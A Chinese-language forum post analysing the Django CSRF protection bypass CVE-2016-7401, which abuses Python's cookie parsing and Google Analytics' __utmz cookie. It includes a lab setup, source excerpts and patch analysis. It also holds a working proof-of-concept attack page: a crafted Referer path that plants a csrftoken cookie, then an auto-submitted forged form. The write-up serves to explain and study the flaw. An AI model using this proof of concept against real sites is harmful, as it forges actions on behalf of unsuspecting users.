Python社区  »  Django

Django CSRF Bypass (CVE-2016-7401) 漏洞分析

Py站长 • 5 月前 • 272 次点击  

0x00 漏洞概述

1.漏洞简介 2. Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。

2.漏洞影响 3. 网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:

  • 使用Google Analytics来做数据统计
  • 使用Django作为Web框架
  • 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)

3.影响版本

Django 1.9.x < 1.9.10

Django 1.8.x < 1.8.15

Python2 < 2.7.9

Python3 < 3.2.7

0x01 漏洞复现

  1. 环境搭建

    pip install django==1.9.9
    django-admin startproject project
    cd project
    python manage.py startapp app
    cd app

将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中

更改或添加下列文件:

project/app/views.py:

from django.shortcuts import render  
from django.http import HttpResponse

# Create your views here.

def check(req):  
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')

def ga(req):  
    return render(req, 'ga.html')

project/project/urls.py:

from django.conf.urls import url  
from django.contrib import admin

from app.views import check, ga

urlpatterns = [  
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

project/app/templates/check.html:

<form action="/check/" method="POST">  
    {% csrf_token %}
    <input type="submit" value="Check"></input>
</form>  

project/app/templates/ga.html(放置Goolge Analytics脚本的页面):

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>  

最后运行开启Django内置server:

# project/python manage.py runserver

2.漏洞分析

我们先来看这样一个场景:

python内置的Cookie.SimpleCookie()解析a=hello]b=world这种形式的字符串时会以]作为分隔,最后取得a=hello和b=world这两个cookie,那么为什么会这样呢?

我们看一下源码,Ubuntu下/usr/lib/python2.7/Cookie.py第622-663行:

def load(self, rawdata):  
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """    
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__        
        for k, v in rawdata.items():
            self[k] = v    
    return
# end load()

def __ParseString(self, str, patt=_CookiePattern):  
    i = 0            # Our starting point    
    n = len(str)     # Length of string    
    M = None         # current morsel

    while 0 <= i < n:
        # Start looking for a cookie        
        match = patt.search(str, i)
        if not match: break          # No more cookies

        K,V = match.group("key"), match.group("val")
        i = match.end(0)

        ...

当传入load一个字符串时,调用__ParseString,在__ParseString中有这样一句:match = patt.search(str, i),根据之前定义的pattern来查找字符串中符合pattern的cookie,_CookiePattern在529-545行:

LegalCharsPatt  = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"  
_CookiePattern = re.compile(  
    r"(?x)"                       # This is a Verbose pattern    
    r"(?P<key>"                   # Start of group 'key'    
    ""+ _LegalCharsPatt +"+?"     # Any word of at least one letter, nongreedy    
    r")"                          # End of group 'key'    
    r"\s*=\s*"                    # Equal Sign    
    r"(?P<val>"                   # Start of group 'val'    
    r'"(?:[^\\"]|\\.)*"'            # Any doublequoted string    
    r"|"                            # or    
    r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr    
    r"|"                            # or    
    ""+ _LegalCharsPatt +"*"        # Any word or empty string    
    r")"                          # End of group 'val'    
    r"\s*;?"                      # Probably ending in a semi-colon    
    )

在这里我们看到]并没有在_LegalCharsPatt中,由于代码中使用的是search函数,所以在匹配a=hello后碰到]会跳过这个字符然后再匹配b=world。因此正是因为使用search函数来匹配,所以当a=hello后面是任意一个不在_LegalCharsPatt中的字符(例如[、\、]、\x09、\x0b、\x0c)都会达到同样的效果:

c.load('a=helloXb=world') # X为上述字符  
SetCookie: a='hello' b='world'  

这个漏洞也正是整个Bypass的核心所在。

我们再来看Django(1.9.9)中对cookie的解析,在http/cookie.py中第91-106行:

def parse_cookie(cookie):  
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        except http_cookies.CookieError:
            # Invalid cookie            
            return {}
    else:
        c = cookie
    cookiedict = {}
    for key in c.keys():
        cookiedict[key] = c.get(key).value    
    return cookiedict

根据动态调试发现这里的SimpleCookie也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。

我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问

http://127.0.0.1:8000/check

点击Check然后抓包:

可以看到csrftoken和csrfmiddlewaretoken的值是相同的,其中csrfmiddlewaretoken的值如图:

也就是Django对check.html中的{% csrf_token %}所赋的值。

我们再改下包,使csrftoken和csrfmiddlewaretoken不相等,这回服务器就会返回403:

所以Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等。

那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的csrftoken值为攻击者构造的csrdmiddlewaretoken的值。

如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=
(referral)|utmcmd=referral|utmcct=[PATH]  

其中[HOST]和[PATH]是由Referer确定的,也就是说当Referer: http://x.com/helloworld时,cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=
(referral)|utmcmd=referral|utmcct=helloworld  

由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置csrftoken的值呢?

这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为http://x.com/hello]csrftoken=world,GA设置的cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=
(referral)|utmcmd=referral|utmcct=hello]csrftoken=world

当Django解析cookie时就会触发上面说的漏洞,将cookie中csrftoken的值赋为world。

实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:

urls.py:

from django.conf.urls import url  
from django.contrib import admin

from app.views import route

urlpatterns = [  
        url(r'^admin/', admin.site.urls),
        url(r'^hello', route)
]

views.py:

from django.shortcuts import render  
from django.http import HttpResponse

# Create your views here.

def route(req):  
        return render(req, 'route.html')

route.html:

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>

开启中转App:python manage.py runserver xxx

构造一个攻击页面:

<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">  
        <input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>

<script type="text/javascript" charset="utf-8">  
function sleep (time) {  
            return new Promise((resolve) => setTimeout(resolve, time));
}

function poc() {  
        window.open('http://redirect-server/hello]csrftoken=boom');

        sleep(1000).then(() => {
                document.getElementById('csrf').submit();
        });
}
</script>

<a href='#' onclick=poc()> Click me </a>

当我们点击Click me,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:

再访问一下http://127.0.0.1:8000/check/,可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom,证明漏洞成功触发:

攻击流程如下:

3.补丁分析

Python

可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:

将search改成了match函数,所以再遇到非法符号匹配会停止。

再看该文件在2.7.10中的patch:

这里将[]设置为了合法的value中的字符,也就是

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>  
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/1692
 
272 次点击  
分享到微博
文章 [ 1 ]  |  最新文章 5 月前
Django小白
Reply   •   1 楼
Django小白    5 月前

不错的分析

分享
社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
WEB开发
linux   js   其他Web框架   peewee   web工具   Git   zookeeper   MongoDB   bottle   tornado   Redis   IE   NoSql   DATABASE   MQ   Bootstrap   NGINX  
机器学习
机器学习算法  
Python88.com
社区推广   反馈   公告